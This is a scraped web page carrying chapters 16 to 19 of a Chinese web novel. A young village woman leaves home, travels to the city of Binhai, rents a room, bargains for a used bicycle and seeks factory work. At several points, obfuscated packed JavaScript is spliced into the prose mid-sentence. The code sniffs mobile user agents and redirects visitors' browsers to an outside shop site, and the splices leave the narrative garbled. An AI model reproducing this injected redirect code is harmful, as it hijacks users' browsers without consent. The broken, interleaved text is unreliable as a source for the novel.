l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060125|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，行不？” “行，妈你真好。” 韩丽娟想过她妈一直不答应的问题，她不想负气出走，她想，她慢慢的磨，总能让爸妈同意，却没想到，今天一场闹剧，却让她抓到机会。 “你妈又咋啦？” 送他堂兄弟回家的韩老四一回来，就听见韩丽娟夸她妈。 “爸，你也好。爸，我妈同意我出去啦！” …… 夜深，西屋的韩丽娟跟韩丽敏都睡了。 东屋，韩老四跟赵淑芬还没睡。 “你咋能答应了呢？”韩老四没想到赵淑芬会松口。 “你不答应？刚刚她说的时候你咋不反对。”反倒听到姑娘说他好，就知道嘿嘿笑。 “那不是你都答应了！”韩老四说，赵淑芬都点头，他反对也没啥效果。 “那还问那废话。”赵淑芬嘟囔一句。 “孩子走给拿多少钱啊？”韩老四沉默一会，突然又问道。 “不得一千块钱啊。”赵淑芬合计一会。“穷家富路，租房子，吃饭，到那还得置办点东西，啥不花钱，拿少了万一不够咋整。”万一工作要找好久，身上没钱，山高路远的，求谁去。 “嗯。”韩老四认同。“不知道啥时候走，怎么也得过了初七吧？等过了初五，过了初五我出去借钱。” “大新正月，去别人家借钱，人家谁能乐意。家里这些亲戚先凑一凑，实在不够，再出去借。”赵淑芬不认同，自家又不是没亲戚，大过年去别人借钱干啥。 “那我问问老三，他不是攒钱买摩托车嘛，不行先借咱们点。等开春咱们把粮食卖卖，还他。”韩老四接着说。 虱子多了不痒，债多了不愁。老大结婚借钱，老二出去借钱，慢慢还吧。 俩人说完钱的事，都没在继续开口，也没睡，就在黑暗中睁着眼睛发呆。 让孩子出去，究竟做得对还是不对呢？ 初五，周晓芹带着韩丽娟拜访她的老同学，事情出乎意料的顺利，陈大有两口子答应了。因为韩丽娟说了，请人家带过去，帮着找个住的地方，至于工作，能帮着介绍就介绍，不能帮着介绍就自己找。 在这都不富裕的年月，能帮一把村里人，大家还是都乐意帮一下的，况且，陈大有两口子也听说了韩丽娟家里前两天的事情，也觉得韩丽娟现在出去挺好，省的在家待着，想到范家还怪闹心的。 “说是十三走。”回来，韩丽娟将事情跟她爸妈说一遍，也告诉了离开的日子。 “这么早？不过了十五再走？” 答应孩子出去是一回事，等真确定了时间，心里就开始舍不得。 “说是十六上班，本来厂子初七初八就上班，他们请了一周的假。”韩丽娟解释道。十三，是陈大有两口子能走的最晚的时间，这样避免在火车上过元宵节，也不耽误十六上班。 “出门三六九，回家二五八，十三挺好。”韩老四默默地说道。 “我那时说日子不好吗？你这个人……”终归，赵淑芬没吵起来，行，十三就十三。 16. 第 16 章 要离别的日子总是过得飞快，每天准备点，每天准备点，日子就到正月十二。 明天，韩丽娟就要出发去滨海。 从下午开始，不，应该说从昨天开始，家里就陆续有人前来。 附近的乡亲来看一看，打听消息也好，听故事也罢，临走前，都会给韩丽娟扔一块两块钱。 “不要！”韩丽娟每次都是拒绝的。不是嫌弃钱少，而是乡亲们日子都不好过，很多人家里日常除了买火柴，油盐这些日常必需品，是从不乱花钱的。甚至有的时候，一个月也就花那么一两块钱。她怎么好意思，去要别人辛苦攒下来的钱。 “哎呀，拿着吧。”村民硬给。“娟子这孩子，多好，别人来收货，一个鸡蛋两个鸡蛋的都不收，鹅毛鸡毛不够数量也不收，就娟子收，她跟他叔给的价格也好，这孩子出去了，我们也都跟着闪一下子。” 见天见到的孩子，突然出去了，未来一年半载的看不到，不适应。 “出去挺好，咱们这啥也没有，能有啥发展呢！”对于她的离开，乡亲们当着她面前都是大力支持的。 最后，韩丽娟总是撕扯不过大家，把钱留下。 “账都记好，等到时候，这人情都记着还。”人走后，张淑芬提醒韩丽娟。 “嗯。”韩丽娟仔细的抚平的手里那张贰元纸币卷起的边角，没抬头，谁也不知道她在想啥。 “没看出来，你人缘还挺好。”张淑芬给自己说乐了。“这都多少人来看你，还给你扔钱。” 有那人家生孩子都没这么多人来看看。 “嘿嘿，有我这样人缘这么好的闺女，妈你是不是老骄傲了？”这段日子，韩丽娟总是变着法的逗赵淑芬开心。 “哼，你少气我两次，就够我骄傲的。”赵淑芬从早晨就开始做针线活。 给韩丽娟出门带的被和褥子重新续的棉花，缝上被单褥套，又拿了一套新的枕巾枕套。 “枕头里就不给你装麦壳，占地方，到那你看看装点啥，刚去找不到，晚上睡觉就枕棉衣。”赵淑芬仔细叮嘱韩丽娟，怕她不知道咋整。 “嗯。”她妈这几天把她当三岁孩子嘱咐，她也不反驳自己知道，不管赵淑芬叮嘱啥，她都说嗯。 …… 晚间，终于没啥人过来了，赵淑芬拿出准备好的一千块钱。递给韩丽娟。“我知道你有小金库，我跟你爸商量了一下，给你拿一千块钱。” 韩丽娟接过来。“妈，是不是太多了，我拿五百块钱就行。我自己攒了些，这几天接了好几百，够花。” 韩丽娟爷奶知道她要去滨海，一开始都不同意，被她劝住，老太太还哭了一鼻子，最后偷偷给她300块钱，说让她出门花。 她二叔二婶给了50块，老叔老婶给了200块，姥姥家的两个舅舅，年纪都大了，没啥钱，也一人给了20块，她老姨给了50块。 加上她自己的小金库，这两天村里人给的钱，她现在有1100块左右，加上她妈这1000块，就是2100块。 2100块，可以说算是一笔巨款了，她不需要这么多。家里没啥钱，这钱应该是她爸妈出去借的。 “他们是他们的，给你就拿着吧，但出去别乱花，到那手里留一点够平时用的，剩下都存起来。”赵淑芬叮嘱。 叮嘱完，又说。“你明天穿哪个秋裤，我把钱给你缝秋裤里，省的坐车不安全。你外面就留点买票钱。” 韩丽娟把秋裤找出来，递给她妈。 赵淑芬一边缝裤子，一边想起什么就叮嘱什么。 “妈，丽娟。”正说话，韩立伟跟郑玉芳来了。 “咋这么晚还过来？”晚上他们在这边吃过饭，聊过天走的。 “过来看看，还有没有啥需要帮忙的。”郑玉芳说。 “你这大着肚子，自己小心点，这边不用你们操心！”郑玉芳月份大了。 “大妹明天就走，再来看看。”郑玉芳笑呵呵的说。说完，从兜里掏出一块手表。 “娟子，你要出门，我跟你哥按正理得给你拿点钱，但我俩也没啥钱，少了也不是那个意思，这块手表你拿着，出门还能用到。” 韩立伟跟郑玉芳也穷，没钱，还马上要生孩子，唯一的那点积蓄，不敢动。俩人商量一下，就把订婚时的手表拿出来一块，给韩丽娟。 出门在外，得有块手表看时间。 “嫂子，这我不能要！”这是她哥她嫂子订婚时候买的手表，一人一块，她怎么能要呢！ “拿着吧，我跟你哥平时用一个就够。”郑玉芳是真心给的。“你不拿，是嫌弃不好吗？” 韩丽娟怎么可能嫌弃，是太贵重了，她忍不住去看她妈。 “拿着吧。”赵淑芬竟然点头了！ 这……韩丽娟不得不接过来。 天太晚，韩立伟夫妻俩没有待太长时间，就回去了。等哥嫂走后，韩丽娟忍不住说“妈，你怎么不劝着他们把表拿回去。” “劝啥，给你就拿着。”赵淑芬满不在乎。 韩丽娟知道她妈对她嫂子有怨言。准确的说应该是对她嫂子家里有怨言。 结婚彩礼一分没拿回来，嫁妆也没啥像样的东西，这些都不是重点。重点是属于郑玉芳的地，郑玉芳爸妈没有给她。 结婚以后，两口子只有她大哥韩立伟那几亩地，够干啥用的？ 找了这么一个不管闺女死活的亲家，赵淑芬都要呕死了。 “你拿着，总比不知道哪天被那边的人搜刮走的好。”赵淑芬觉得郑玉芳被她爸妈拿捏，小两口的东西这边不拿，那边也会用。 韩丽娟却不这么想。“妈，其实我嫂子人不错的。” “我没说她人不好。”赵淑芬可不承认自己看不上儿媳妇。这个儿媳妇她知道，挺好。可每次想到哪糟心的亲家，就对儿媳妇也喜欢不起来。 “我不在家了，丽敏也在街里读书，就我嫂子平时能跟你说说话，你俩好好地哈。”韩丽娟也忍不住叮嘱赵淑芬。 “我还用你操心！” 娘俩说话这功夫，韩老四屋里屋外，东屋西院的走好几趟。 “你干啥呀，这功夫屋里屋外靴得来靴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060126|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得去的。”孩子明天都要走了，就不能安静的跟孩子说会话。 “我找几个不用的雷锋包的带子，你给孩子缝在包裹上，到时候她背着行李，方便。” 韩老四回到，手里拿着几根书包带，自己家的，还有隔壁他兄弟家的，都叫他划拉来了，应该够用。 “还有这锁头，咱家仓子门上挂着的锁头，给孩子带去吧，我刚刚上了油，还好用。” 这样孩子到那就省下一个买锁头的钱。 赵淑芬一听，把气憋回去。拿过带子开始比量。 “别说，你爸还挺有心思。”赵淑芬夸了一句。 “我爸一直都很聪明。”韩丽娟头一扬，感觉像是夸她一般。 “把东西都归整好，看看还缺啥不？”该缝该装的，都准备齐全，开始打包裹。 韩丽娟的爸妈把他们觉得能带上的东西都给韩丽娟带上。带了一个陶瓷盆，韩丽娟的洗漱用品，肥皂盒，木梳，一些零碎的小玩意全都装到盆里，甚至还带了两双筷子。“看看这盆里还能装点啥？”能在家拿的就在家拿，省的出去花钱买。 等确认没落下东西，就开始缝包裹。韩老四跟赵淑芬两人齐心协力，尽可能的把包裹整的紧实又结实。 “背上看看。”包裹打理好，赵淑芬让韩丽娟背上试试。“沉不沉？” “不沉。”韩丽娟背上在屋里走了两圈，她能背动。 “姐，等你到那边站住脚跟，我高中毕业就去找你。”一晚上，韩丽敏都靠着韩丽娟坐着，她舍不得，但她随了韩老四，嘴也不咋会说，就一直挽着韩丽娟的胳膊。 “你先把书念好吧，想的怪长远的。”赵淑芬心说，一个两个的，都不是省油灯。 韩老四家的灯这晚很晚才熄，第二天一早，早早的就亮。 上车饺子下车面，饺子是芹菜猪肉馅的，芹菜是她爸昨天特意跑街里买的。 年三十，赵淑芬都没舍得买芹菜包饺子。 一家人都过来了，说说笑笑的，一起包饺子，仿佛今日不是离别，而是一个普通的开心的日子一样。 天还没大亮，陈大有两口子坐着马车就过来了，陈大有兄弟送他们。韩丽娟这边，她老叔老婶骑着自行车跟着送到县城车站，车站那边，孙慧给留着车票，他们不用着急县城往市里走的票，但他们要早点到市里，去买到滨海的票。 因为赶时间，马车到了，众人也没寒暄，韩丽娟爬上马车，马车就准备出发。 “大有啊，娟子就托付给你们两口子，麻烦多照顾，到那边娟子要是真没钱回来，你们借给点路费，回来嫂子还。”一家人追着马车，赵淑芬忍不住又叮嘱。 “嫂子，你放心，娟子有我们呢，没事啊。” 马车渐渐走远，赵淑芬这些日子强忍的泪水，终于忍不住落下来。“这孩子，都不回一下头，她都不回头看我一眼。”她一边嚎啕大哭一边说。 可能是今天起得太早，她还没睡醒，不然为啥看东西这么模糊呢？ 坐在马车上的韩丽娟，心想，太模糊了，她要揉一下眼睛。 17. 第 17 章 “娟子，娟子，快过来，咱们在这。”孙慧最先挤上车，找到位置，喊韩丽娟。 都已经正月十三了，火车上熙熙攘攘的还全是人，幸亏他们到的早，买到了坐票，听说这趟车到省城再上车，就没有坐了。 虽然都买到了坐票，但是几人位置没在一起，上车后，又跟相邻的人商量，才把座位换到一起。 一番折腾，陈大有两口子带着孩子，和韩丽娟孙慧，坐在一组面对着的四人位。 张艳霞没有出来，过年的时候，张艳霞她对象家跟她家商量，想着今年就把婚事办了，她就留在了村里。 “针织厂是干什么的，姐？”几人终于坐定，孙慧迫不及待的问陈大有她老婆。那天，娟子只跟她说，她要去滨海，有个同乡在针织厂上班，可以介绍他们过去看看我，问她去不去。 她当然选择去啊，在家待的都要发霉。 “噗……”还没回答孙慧的问题，陈大有老婆姜美凤先笑出声。“你要是跟娟子一起叫，得叫我一声姨。” “啊？”孙慧一脸不可置信，看向韩丽娟。 韩丽娟点头，虽然他们就差八九岁，但谁让陈大有，姜美凤是她婶周晓芹的同学呢。 萝卜不大，长在辈上，没办法。 “叫姨跟姨夫。”韩丽娟对孙慧说。 “行，谁让咱俩是好朋友呢。姨，那你现在能回答我了吗？”孙慧也不纠结，跟着韩丽娟改口。 “不是，针织厂是做衣服的。”姜美凤解释道。 “真的？我还以为是织毛线的呢。”孙慧的吃惊很夸张，她太兴奋了。 “做衣服的面料制作方法不同，分针织梭织，我们厂做衣服的面料是针织的，全称叫辰兴针织制衣厂，简称针织厂。” “咦？你是辰兴针织厂的？”姜美凤话音刚刚落下，背靠背坐着的一个妇女接话。“那你们到滨海下车？” 姜美凤转过身。“对，你也是？”她仔细打量这个人，有些眼熟，但也不是很熟。 “对对……” 对面妇女也是拖家带口，这次也带了自己的妹妹过去，说也要介绍去针织厂上班，而且还带了自己的父母。 “娟子……”孙慧凑到韩丽娟面前，想说点啥，韩丽娟扯了扯她的衣袖。“大姐，你们全家这是要搬过去啊？”韩丽娟赶紧找了一个话题。 她知道孙慧想说啥，这刚刚上车，就遇到一个也要去辰兴找活的，想到他们出发已经算是晚的，会不会到了辰兴，没有位置。 “全家一起出去赚两年钱。”大姐也是爽快人。“去年我们住那块，家家都有果园，有那种大果园招人，我给我爸妈找了份工作，我爸给看园子，我妈给做饭。” “四五十岁也能找到工作？”韩丽娟真的吃惊了。 “能，多了去了，我跟你说，就是捡破烂也比在老家赚的多！” 这时，火车开动，车上的人也都将自己的行李安排妥当，北方人没有不爱聊天的，这话说完，周围就有人接茬。“可不是咋地，我认识一个老头，去年捡破烂不少挣呢，那边只要你想找活，都能找到。” 孙慧在一旁一听，不再紧张。韩丽娟也松口气，就算去不了针织厂，也能找到别的工作。 火车哐哐当当的前行，一车人热热闹闹的聊天，二十多个小时的车程，对于韩丽娟他们来说，是兴奋大于疲惫的。 第二日中午，火车终于进站，韩丽娟背上行囊，跟着人群，一起下车。 “人多，娟子，你跟孙慧千万跟住，别走散了！”因为带着孩子，还有行李也多，陈大有两口子顾不太多韩丽娟她们俩个。 “姨，你放心，我们跟着呢。” 下了车，脚接触地面的时候，仍然觉身体在晃晃悠悠。抬起头，一股冰雪消融的春日气息迎面扑来。 阳光不算很热烈，但很暖和，好几条铁轨延伸向远方，也有铁轨上停了火车，车上的人也在下车，好不热闹。 “住宿吗，住宿吗？” “客运站，走不走，客运站，上车就走了！” “丫蛋儿，住宿啊，便宜，还有人帮拎行李。” 出了站，还不待韩丽娟好好地打量这座城市，一群人就围了过来。 “去哪儿啊？我送你们！”一个找活的人走到韩丽娟和孙慧面前，伸手就要拎她们的行李。 “不用，我们有人接。” 韩丽娟一手拉过孙慧，也不打量了，赶紧朝前走去。 “不累吧，这里离客运站几百米，坚持一下，一会就到。”终于走出人群，几个能歇口气，姜美凤放下孩子，说道。 他们不住市里，而是在城市边缘租房子，上班。市中心的厂子要么是国营，不对外招人，要么就是要求高，他们不达标。在这座城市周围的市县，有很多民营企业，他们招收工人的要求不高，很多来滨海找活的人，都是住在周边。 因此，要去客运站坐客车。 “我可以。”韩丽娟点头。 “啊？”孙慧一听，感觉天都塌了，行李太沉了。 “那咱们在这歇一会。”姜美凤看出来，孙慧应该是没吃过什么苦，那就慢点走，走一会歇一会，多花点时间就到。 大家站在路边喘息，韩丽娟望向远方，打量这座城市。 楼房林立，看不到边，道路上行人如织，车水马龙。人人都很忙碌，急匆匆，不像他们县城，透着一股子慵懒。 坐上客车，又经过一个多小时的颠簸，终于，他们下车了。 下车没走多远，就到姜美凤两口子租住的地方。 “终于到了！”韩丽娟跟孙慧将行李放在院子，都累得不行。 “饿了吧，家里只有一些挂面，咱们煮了吃完，我领你们去找房东，这个院子还剩一处房子没有租出去，咱们赶紧租下来。明天十五，领你们出去逛逛，买点东西，十六咱们就去上班。”姜美凤嘴上说着，手上也没闲着，开门，进屋，就开始刷锅，添水。 韩丽娟也过去帮忙。 “中午先对付吃点，晚上咱们炒两个菜，好好吃一顿。”陈大有抱柴回来。 “谢谢姨跟姨夫，做什么我跟丽娟都能吃，不挑的。”到了地方， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060127|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙慧原地复活，精神百倍。 几人囫囵的吃了一个迟到的午饭，陈大有就带韩丽娟俩人去租房子，姜美凤留下看家。 房东是一个五十岁左右的大妈，稍微有点富态，看面相是一个很好相处的人。 “这你家亲戚啊？”她打量着韩丽娟跟孙慧，挺好，两个小姑娘，不像是能惹事的。 “嗯，是我家亲戚。胖婶，让他俩看看我们院子里那个房子，行的话，就想租那里。”陈大有没多解释，默认是亲戚。 “行啊，咱先去看看房，你俩看看有没有问题，有啥问题说，能给解决的我给你解决。”胖婶拿着钥匙跟他们出门。 胖婶家住得不远，但自己家住的是独门独院二层小楼。她现在往外租的房子，是当年厂子给工人建的家属房，后来厂子改制，她就把这家属房买下来，往外租，当初买得早，如今一年的房租就把当年买房前赚回来。 一个院子能住四五户，有四排院子，每户都是那种一厨一卧的房型。 “喏，就这间，看看吧。”胖婶打开房门，让出位置，韩丽娟跟孙慧走进去。 其实格局跟陈大有家一样的，但是俩人刚刚都没好意思直接打量别人家，现在，终于能仔细看看格局。 “水电都是通的，村里有水电工来抄表收钱，你们自己交钱的哈，有下水道，但是别往里倒菜渣什么的，自己用网过滤着点，堵了自己花钱找人修的哈。”胖婶把话说在前面。“门窗都是好的，没有碎。家具就是厨房一个碗柜，一个水缸，卧室里一个衣柜，带个炕席，其他的需要自己置办。” 就如胖婶说的，屋里其实很简单，厨房一个锅灶，一个水龙头，水龙头下应该就是下水管道，旁边一个水缸，靠北墙的位置有一个半人高的柜子，应该就是她说的碗柜。卧室里就更简单，只有一柜，一炕。但是，整个房子是砖石结构瓦房，砖外面抹着水泥和白石灰，甚至屋里的地面都是水泥抹平的，这房子的条件，比他们老家好上百倍。 没什么好挑的。只是这个价格…… “胖婶，这房租怎么算？”韩丽娟问。 “一年600，要是整年租，现在就把租金给了，那就550。”胖婶没多要，毕竟有陈大有在这，要高了也会讲下来，没必要浪费口舌。 韩丽娟内心点头，这价格跟跟大有夫妻二人告诉他们的一样。她没什么想说的，便看一眼孙慧。“怎么样？” 孙慧对这些不懂。“你说了算。” “那我租一年！”韩丽娟想也不想，说道。 这样能省下50元，就是一个月的房租。 “娟子，如果咱们待不了一年怎么办？”韩丽娟说完，孙慧又有点犹豫，她怕自己坚持不下来。把韩丽娟拽到外面，悄声问道。 “我能！”韩丽娟想，既然来了，不管好坏，她都要坚持住。“不然你每月给我25，如果能跟我一样，坚持一年，那那最后一个月你就不用给房租。” 韩丽娟觉得这样，既帮了孙慧，也不至于让自己吃亏。 “好！”孙慧开心的应道。“娟子你真好。” 18. 第 18 章 确定韩丽娟他们要租房子，胖婶就回去让家人写一份合同，一会交钱按手印。 今天是二月的最后一天，胖婶说这一天送给她们，房租从3月1日开始算，按整月的来。 胖婶走后，孙慧跟韩丽娟开心的牵着手在房间里蹦跶，如今他们也算是安家了。 俩人先是给房子进行一场仔细地大扫除，然后开始合计需要添加些什么。 首先要买一把锁，韩丽娟从家里带了一把锁，刚刚他们打扫的时候，发现卧室衣柜中间层有两个抽屉，能上锁的，俩人计划一人一个。那就还需要另买一把锁房门的大锁。 然后就是厨房，需要添置的东西比较多。 锅碗瓢盆这些过日子必不可少的生活用品得买，米面粮油也要买一些。 “我们再买一块漂亮的花布，做窗帘吧。”孙慧提议道。 自己一个人住，她有很多想要装饰房屋的想法。“等赚钱了，再添置些家具，这屋里就一个柜子，以后一定不够用。还有，咱们到时候把这个炕席换成地板革的，干净漂亮还显得屋里亮亮的。” 一想到这个房间可以按照她的想法来布置，不会被她妈管，他就高兴。 韩丽娟没有立即回答，她不知道这里的物价。按说一块布做窗帘没多少钱，但孙慧想要的，不仅仅是一个窗帘，是要跟这个窗帘都匹配的房间。 他们刚刚交了550元的房租，还要添置一些日用品，每个人还要买辆自行车。姜美凤说，就算上班，工资也不是立即就开，这边很多工厂是压资的，就是当月的工资隔一个月开，三月份开一月份的工资，他们三月份上班，等到能拿到钱，要五月初。未来的两个月都要花自己带的钱。 按美凤姨的说法，他每个月能赚150左右，一年工资就是1800元。不算少，但是，她跟孙慧有学徒期。 学徒1到3个月，这期间的工资才几十块，所以，韩丽娟觉得她们的钱要计划着花。 “慧慧，我把来时候的包裹皮简单收拾收拾，咱们先用着当窗帘，等咱们拿了第一个月的工资，再买窗帘好不好？” 韩丽娟跟孙慧商量。看能不能赚到钱再买，韩丽娟没想过不买，孙慧家是县里的，跟她们农村不一样，很多东西不喜欢对付。两个人一起出来，要互相迁就。 “啊！”孙慧有些失望，但想了想，还是点头同意了。公共用品两个人摊钱，娟子家里是农村出来的，花钱上计较，也是情有可原。 附近就有供销社，一些小来小去的东西，在这里都能买，明天去市里，主要是买辆自行车。 第二天，俩人收拾妥当，就去隔壁。 今天他们骑自行车出门。陈大有带着姜美凤跟他家孩子。韩丽娟骑姜美凤的自行车带着孙慧。 “咱们不去昨天来的那个市里？” 韩丽娟骑车跟在陈大有车后，看方向，不是往昨天坐车来的方向去。 “市里多远啊，咱们现在住的地方，也是一个县，咱们去县城。”他们虽然在滨海市，但是不属于市内管辖，是属于周边县。 “县里呀。”孙慧有些失望，从昨天到今天，出来打工跟她想的不一样。 “虽然是县里，但是跟咱们老家的县可不一样。”姜美凤没多解释。 按说总共不过十多里的路，但是这边的路跟老家不一样，老家是横平竖直，但这里的路曲了拐歪不说，还有坡，一会上坡，一会下坡的，遇到比较陡的，还要下来推着车子走。 “这里真跟咱们老家不一样啊。”韩丽娟感慨，她竟然觉得骑自行车很累！ “慢慢习惯吧。”姜美凤笑着说。 一路上坡下坡，县里很快也到了，等到了县里，走到商业街，韩丽娟跟孙慧大吃一惊“这是县里？”跟在姜美凤身后，俩人好奇的打量这里繁华的商场店铺，说这里是市里她们也信。 繁华。 人很多，铺面也多，就连商场都好几个。 步行街两侧支满摊位，卖元宵，卖彩灯，卖礼花的，吃的喝的玩的用的……人声，吆喝声，不绝于耳。 “特别的爱给特别的你……” “你知道我在等你吗……” “家乡的茶园开满花……” 路过音像店，理发店，小家电店门口，门口大音响发出震耳欲聋的音乐声，听的人的牙齿都跟着震动。 “真热闹！”韩丽娟说，跟他们老家的热闹是不一样的。 “就说不一样吧，要是跟咱们县一样，还出来干啥。”姜美凤笑着说。“先去存钱，在买杂货，最后看自行车？”这边停自行车要收费，为了省五分钱的停车费，姜美凤决定先带他们买其他的物品。 银行跟邮局挨着，从银行出来，韩丽娟给家人发了个电报，为了省钱，就一个字：“安”。 因为是十五，哪哪都是人，他们好不容易从人堆里挤出来，把要买的东西买齐。“走，快去买自行车。”姜美凤看看时间。“今天十五，下午很多店就关门回家过节了。” 孙慧想买个新的，韩丽娟想买个二手的。 普普通通一个新自行车两三百，太贵了。二手的好好挑一挑，七八十块钱就能买个不错的。 “娟子，你要不劝劝你朋友，别买新的，买个二手的骑着，要是确定能留在这，二手的也能卖，赔不了几个钱，换个新的也不亏。”姜美凤拉过韩丽娟，悄悄的说。 “姨，昨天我说要买二手的，她也决定要买新的。她家跟咱们不一样。咱们出来是为了赚钱，攒钱，她出来是为了见见世面。”孙慧的爸爸是客运站的司机，妈妈在家开了一个小卖店，人家不出来，也比他们出来打拼赚得多。 之所以让孙慧出来，就是她爸妈不想让她在家待着什么也不干，出来学点手艺，学学人情世故。出发前，孙慧她妈特意叮嘱她，俩人出来别打架，孙慧家里娇生惯养的，多担待，不用太管她，要是真有啥事，给她爸打电话。 “也是，人家也是大人了，不能像管孩子似的管着哈。”姜美凤一听，确实，自己管太多。主要是跟着他们两口子出来的，她也怕，万一孩子在这边过得不好，或者上当受骗，钱花光，没办法向人家父母交代。 韩丽娟在二手车行转了一圈，选中一个二八大杠，她骑习惯这种车，让她换别的尺寸，还骑不习惯。 “95.”卖车的大哥看了眼韩丽娟，出价。 “55.”韩丽娟想都没想，直接还价。 “多少？”卖车大哥一整个震惊。“不卖，不卖。”这是上这捡便宜了。“你这也不是真心买啊。” 韩丽娟也没想55块就把自行车拿下，但是讲价讲价，第一口一定要低，只要对方不打人，就能接着讲。大哥没打人，这车价格能商量。 “大哥，我是真心买，这不是刚刚来这，没钱吗，就想着买个便宜的。”韩丽娟哭穷。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17060128|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也不算哭穷，她真的没钱。 “那也太低了，55块钱我收都收不来。”大哥拍了拍自行车把手。“这车虽然有些旧，但是里胎外胎都还能用住，你看这脚蹬子，还有这车闸，这铃铛。”大哥一边说，一边叮铃叮铃的按响车铃。 “哎呀，大兄弟，你这话说的，不能用的你也不能卖不是。”陈大有过来。“实得惠的，55行不行！” “你要诚心买，85,85立马你就骑走。” “60，”韩丽娟仿佛下了重大决心，“大哥，60我就买了，这车我看了，能用，但是很多东西都不新了，你看这车筐，都有洞了，还有这车座，弹簧跟海绵都漏出来了，行不行，大哥，我不跟你磨叽，大过节的。” 挑货才是买货人，对于韩丽娟的挑剔，卖车大哥也没说啥。 “哎妈呀，大妹子，你这……”卖车大哥想，他都一步退了10，这妹子一咬牙才涨5块。“不行，60太便宜，卖不了。你要真心想买，我再给你便宜点，78块钱，一分不能再少了，自行车没有那么大晃，咋地都得七八十，你不信你四处打听打听。” 滨海人员流动大，可能外地五六十能买到二手自行车，滨海可不好买。 “65，要是卖我就买，不卖我就再去看看。”韩丽娟又给涨了5块。 “你再给添两块，65我不赚钱，再给添两块，我就卖给你了。”卖车大哥商量韩丽娟。 “那我再去转转……”韩丽娟闻言，转身就要走。 “哎哎哎，你回来。”大哥叫她。“再商量商量。” 韩丽娟没回头。 “回来，回来，卖给你了！”大哥一脸无语。“这小姑娘，太能讲价，大过节，卖个是个，我也回家过节呢。” “大哥，还是你会做生意，等我再买车，我还来找你。”韩丽娟得了实惠，不吝啬的夸奖。“一看大哥这生意就好。” “呵呵。”大哥随意地笑了笑，“行，那下次买车再来我这哈。”买自行车又不是买鸡蛋，下次不定多少年后。 东西置办齐全，一行人骑着自行车返程。 明天，他们就要上班啦！ 一早，韩丽娟跟孙慧早早收拾好，吃过早饭，跟着姜美凤出发。 路上，俩人都很兴奋。左看看右看看的，二十分钟的路程，很快就到了， 只见一个三层小白楼矗立在眼前，大门上贴着高高大大的对联，右侧门柱上挂着辰兴针织制衣厂的牌子。地上，铺满了红色的鞭炮纸，沿着门两边，呈八字，各一排燃放过的烟花，应该都是昨晚放的，还没有收走。 姜美凤带着她二人，爬上三楼，在一间挂着厂长办公室牌子的门前停下。铛铛铛…… 敲门声想起，韩丽娟感觉听到了自己的心跳。 “请进。”屋子里，传出干练的女声。 “厂长，我是二车间的姜美凤。”进去后，姜美凤先介绍自己。“这俩姑娘是我家亲戚，跟我从老家过来的，都会用缝纫机，想来咱们厂子找分活。” 被称作厂长的女人面带微笑的听完姜美凤的话，然后冲着韩丽娟俩人点点头。韩丽娟跟孙慧微笑应对。“回老家过年回来啦，这俩小姑娘，真好，但是……”女厂长面带为难，还是把话说完。“年后来咱们这找活的人太多，目前还剩下一个空机器了。” 一个位置，两个人，这咋办？ 韩丽娟跟孙慧四目相对。 19. 第 19 章 “厂长，那不能加机器吗？”韩丽娟略一思索，问道。 她不太懂这种制衣厂的机器，她想的是，如果是像家里那种普通的缝纫机，加一个，应该能有位置。 “是的，我是准备在开一个车间，但是我们的机器还在南方，运过来，调试好，差不多要一个月的时间。” 没有人跟钱过不去，去年，针织厂已经增加了一个车间，今年，厂长还在纠结，要不要新开，但她怕招不来人，机器空歇，时间长，就容易出问题。 谁也没料到，春节过后，大批人前来找活，她赶紧联系南方的机器厂家，订购一个车间的机器种类和数量。 “那好办，慧慧，你先在这上班，等新的机器运来，我再来，左右不过一个月，我先找点别的零活干。”韩丽娟立马做了决定。 “这……”孙慧有些纠结。 “行。”女厂长也不是磨叽人。“美凤，就把她安排在你们车间，你带着她去找你们车间主任。” “好，谢谢厂长，那我带她过去了。” 姜美凤也不想在厂长办公室多停留，拉着俩人就出来。 到了楼下，孙慧终于开口。“娟子，那你这个月怎么办？”她们人生地不熟的，就算陈大有家，来这里满打满算一年，也没什么人脉，那里说那么容易找到零活。“咱们应该商量商量。” “先把位置占了。”韩丽娟说。“别管怎么样，能留下一个是一个，没事，大不了我待一个月，等下个月就能来上班。” 韩丽娟怕他们商量的期间，再有人来找活，那就一个位置都没有了。孙慧是她领来的，总要先把她安妥当。 “可是……”孙慧还想说啥，被姜美凤打断。 